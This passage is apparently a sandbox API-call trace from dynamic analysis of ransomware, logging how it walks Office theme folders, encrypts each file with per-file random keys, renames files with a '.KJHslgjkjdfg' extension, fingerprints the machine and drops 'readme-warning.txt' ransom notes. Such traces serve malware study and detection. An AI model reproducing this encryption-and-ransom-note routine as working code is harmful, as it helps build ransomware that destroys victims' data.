lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0173.816] GetProcessHeap () returned 0x2ef0000 [0173.817] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0173.817] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\preview.gif.kjhslgjkjdfg")) returned 1 [0173.823] CloseHandle (hObject=0x12c) returned 1 [0173.823] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xaf32, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0173.823] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0173.826] GetProcessHeap () returned 0x2ef0000 [0173.826] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0173.826] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0173.826] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff008 | out: lpNewFilePointer=0x0) returned 1 [0173.826] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff018*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff018*, lpNumberOfBytesWritten=0x4dfefe8*=0xe, lpOverlapped=0x0) returned 1 [0173.828] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0173.828] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0173.828] GetProcessHeap () returned 0x2ef0000 [0173.828] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0173.828] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40) returned 1 [0173.828] CryptDestroyKey (hKey=0x2f18308) returned 1 [0173.828] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dfefe8*=0x40, lpOverlapped=0x0) returned 1 [0173.829] WriteFile (in: hFile=0x12c, lpBuffer=0x4dfeff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dfeff0*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0173.829] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfefe8*=0x10, lpOverlapped=0x0) returned 1 [0173.829] WriteFile (in: hFile=0x12c, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dfefe8*=0x80, lpOverlapped=0x0) returned 1 [0173.829] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff010 | out: lpNewFilePointer=0x0) returned 1 [0173.829] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff000*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0173.829] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0173.829] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0173.829] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.829] ReadFile (in: hFile=0x12c, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xaf32, lpNumberOfBytesRead=0x4dfeff4, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfeff4*=0xaf32, lpOverlapped=0x0) returned 1 [0173.831] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0xaf40, dwBufLen=0xaf40 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0xaf40) returned 1 [0173.831] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.831] WriteFile (in: hFile=0x12c, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xaf40, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefe8*=0xaf40, lpOverlapped=0x0) returned 1 [0173.832] CryptDestroyKey (hKey=0x2f18308) returned 1 [0173.832] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0xb014, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.832] SetEndOfFile (hFile=0x12c) returned 1 [0173.835] GetProcessHeap () returned 0x2ef0000 [0173.835] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0173.835] GetProcessHeap () returned 0x2ef0000 [0173.835] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0173.835] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\thmbnail.png.kjhslgjkjdfg")) returned 1 [0173.847] CloseHandle (hObject=0x12c) returned 1 [0173.847] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xaf32, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0173.847] GetProcessHeap () returned 0x2ef0000 [0173.847] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0173.847] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0173.847] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898, pdwDataLen=0x4dfee20 | out: pbData=0x2f0c898, pdwDataLen=0x4dfee20) returned 1 [0173.847] CryptDestroyKey (hKey=0x2f18308) returned 1 [0173.847] GetProcessHeap () returned 0x2ef0000 [0173.847] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c8e0 [0173.847] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0173.847] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c8e0, pdwDataLen=0x4dfee20 | out: pbData=0x2f0c8e0, pdwDataLen=0x4dfee20) returned 1 [0173.848] CryptDestroyKey (hKey=0x2f18308) returned 1 [0173.848] GetProcessHeap () returned 0x2ef0000 [0173.848] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3c0) returned 0x2f14588 [0173.848] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0173.848] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f14588, pdwDataLen=0x4dfee20 | out: pbData=0x2f14588, pdwDataLen=0x4dfee20) returned 1 [0173.848] CryptDestroyKey (hKey=0x2f18308) returned 1 [0173.848] GetProcessHeap () returned 0x2ef0000 [0173.848] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c928 [0173.848] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0173.848] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c928, pdwDataLen=0x4dfea00 | out: pbData=0x2f0c928, pdwDataLen=0x4dfea00) returned 1 [0173.848] CryptDestroyKey (hKey=0x2f18308) returned 1 [0173.848] GetProcessHeap () returned 0x2ef0000 [0173.848] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11728 [0173.848] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0173.849] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11728, pdwDataLen=0x4dfea00 | out: pbData=0x2f11728, pdwDataLen=0x4dfea00) returned 1 [0173.849] CryptDestroyKey (hKey=0x2f18308) returned 1 [0173.849] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x4dfe9fc | out: phkResult=0x4dfe9fc*=0x12c) returned 0x0 [0173.849] RegQueryValueExA (in: hKey=0x12c, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x4dfea08, lpcbData=0x4dfea04*=0x400 | out: lpType=0x0, lpData=0x4dfea08*=0x30, lpcbData=0x4dfea04*=0x18) returned 0x0 [0173.849] RegCloseKey (hKey=0x12c) returned 0x0 [0173.849] GetProcessHeap () returned 0x2ef0000 [0173.849] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c928 | out: hHeap=0x2ef0000) returned 1 [0173.849] GetProcessHeap () returned 0x2ef0000 [0173.849] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11728 | out: hHeap=0x2ef0000) returned 1 [0173.849] GetProcessHeap () returned 0x2ef0000 [0173.849] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11728 [0173.849] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe770, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0173.849] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11728, pdwDataLen=0x4dfe7d4 | out: pbData=0x2f11728, pdwDataLen=0x4dfe7d4) returned 1 [0173.849] CryptDestroyKey (hKey=0x2f18308) returned 1 [0173.849] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x4dfe7d8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0173.849] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x4dfe7d0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x4dfe7d0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0173.850] GetProcessHeap () returned 0x2ef0000 [0173.850] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11728 | out: hHeap=0x2ef0000) returned 1 [0173.850] wsprintfA (in: param_1=0x4dfea1f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0173.850] wsprintfA (in: param_1=0x4dfee2c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0173.850] GetProcessHeap () returned 0x2ef0000 [0173.850] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3b4) returned 0x2f11d10 [0173.850] wsprintfW (in: param_1=0x4dfddfc, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\readme-warning.txt") returned 81 [0173.850] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0173.851] WriteFile (in: hFile=0x12c, lpBuffer=0x2f11d10*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x4dfddf8, lpOverlapped=0x0 | out: lpBuffer=0x2f11d10*, lpNumberOfBytesWritten=0x4dfddf8*=0x3b3, lpOverlapped=0x0) returned 1 [0173.852] CloseHandle (hObject=0x12c) returned 1 [0173.852] GetProcessHeap () returned 0x2ef0000 [0173.852] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14588 | out: hHeap=0x2ef0000) returned 1 [0173.852] GetProcessHeap () returned 0x2ef0000 [0173.853] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11d10 | out: hHeap=0x2ef0000) returned 1 [0173.853] GetProcessHeap () returned 0x2ef0000 [0173.853] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c8e0 | out: hHeap=0x2ef0000) returned 1 [0173.853] GetProcessHeap () returned 0x2ef0000 [0173.853] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0173.853] FindClose (in: hFindFile=0x2f182c8 | out: hFindFile=0x2f182c8) returned 1 [0173.853] GetProcessHeap () returned 0x2ef0000 [0173.853] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f10788 | out: hHeap=0x2ef0000) returned 1 [0173.853] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x66247150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x66247150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="LEVEL", cAlternateFileName="")) returned 1 [0173.853] GetProcessHeap () returned 0x2ef0000 [0173.853] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8c) returned 0x2f425d0 [0173.853] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\*.*", lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x66247150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x66247150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2f182c8 [0173.854] GetProcessHeap () returned 0x2ef0000 [0173.854] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f425d0 | out: hHeap=0x2ef0000) returned 1 [0173.854] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x66247150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x66247150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0173.854] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa85f400, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x66247150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa85f400, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xe2ec, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="LEVEL.ELM", cAlternateFileName="")) returned 1 [0173.854] GetProcessHeap () returned 0x2ef0000 [0173.854] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x28e) returned 0x2f10788 [0173.854] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\level.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0173.855] GetProcessHeap () returned 0x2ef0000 [0173.855] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0173.855] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0173.855] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff008 | out: lpNewFilePointer=0x0) returned 1 [0173.856] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff018*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff018*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0173.861] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0173.861] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0173.861] GetProcessHeap () returned 0x2ef0000 [0173.862] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x30) returned 0x2f14ca8 [0173.862] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f14ca8*, pdwDataLen=0x4dfefd0*=0x30, dwBufLen=0x30 | out: pbData=0x2f14ca8*, pdwDataLen=0x4dfefd0*=0x30) returned 1 [0173.862] CryptDestroyKey (hKey=0x2f18308) returned 1 [0173.862] WriteFile (in: hFile=0x12c, lpBuffer=0x2f14ca8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f14ca8*, lpNumberOfBytesWritten=0x4dfefe8*=0x30, lpOverlapped=0x0) returned 1 [0173.862] WriteFile (in: hFile=0x12c, lpBuffer=0x4dfeff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dfeff0*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0173.862] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfefe8*=0x10, lpOverlapped=0x0) returned 1 [0173.862] WriteFile (in: hFile=0x12c, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dfefe8*=0x80, lpOverlapped=0x0) returned 1 [0173.862] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff010 | out: lpNewFilePointer=0x0) returned 1 [0173.862] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff000*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0173.863] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0173.863] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0173.863] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.863] ReadFile (in: hFile=0x12c, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xe2ec, lpNumberOfBytesRead=0x4dfeff4, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfeff4*=0xe2ec, lpOverlapped=0x0) returned 1 [0173.865] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0xe2f0, dwBufLen=0xe2f0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0xe2f0) returned 1 [0173.865] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.865] WriteFile (in: hFile=0x12c, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xe2f0, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefe8*=0xe2f0, lpOverlapped=0x0) returned 1 [0173.866] CryptDestroyKey (hKey=0x2f18308) returned 1 [0173.866] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0xe3b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.866] SetEndOfFile (hFile=0x12c) returned 1 [0173.869] GetProcessHeap () returned 0x2ef0000 [0173.869] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14ca8 | out: hHeap=0x2ef0000) returned 1 [0173.869] GetProcessHeap () returned 0x2ef0000 [0173.869] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0173.870] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\level.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.ELM.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\level.elm.kjhslgjkjdfg")) returned 1 [0173.871] CloseHandle (hObject=0x12c) returned 1 [0173.871] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x66247150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x20e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="LEVEL.INF", cAlternateFileName="")) returned 1 [0173.871] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\level.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0173.872] GetProcessHeap () returned 0x2ef0000 [0173.872] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0173.872] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0173.872] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff008 | out: lpNewFilePointer=0x0) returned 1 [0173.872] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff018*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff018*, lpNumberOfBytesWritten=0x4dfefe8*=0x2, lpOverlapped=0x0) returned 1 [0173.874] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0173.874] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0173.874] GetProcessHeap () returned 0x2ef0000 [0173.874] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x30) returned 0x2f14ca8 [0173.874] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f14ca8*, pdwDataLen=0x4dfefd0*=0x30, dwBufLen=0x30 | out: pbData=0x2f14ca8*, pdwDataLen=0x4dfefd0*=0x30) returned 1 [0173.874] CryptDestroyKey (hKey=0x2f18308) returned 1 [0173.874] WriteFile (in: hFile=0x12c, lpBuffer=0x2f14ca8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: 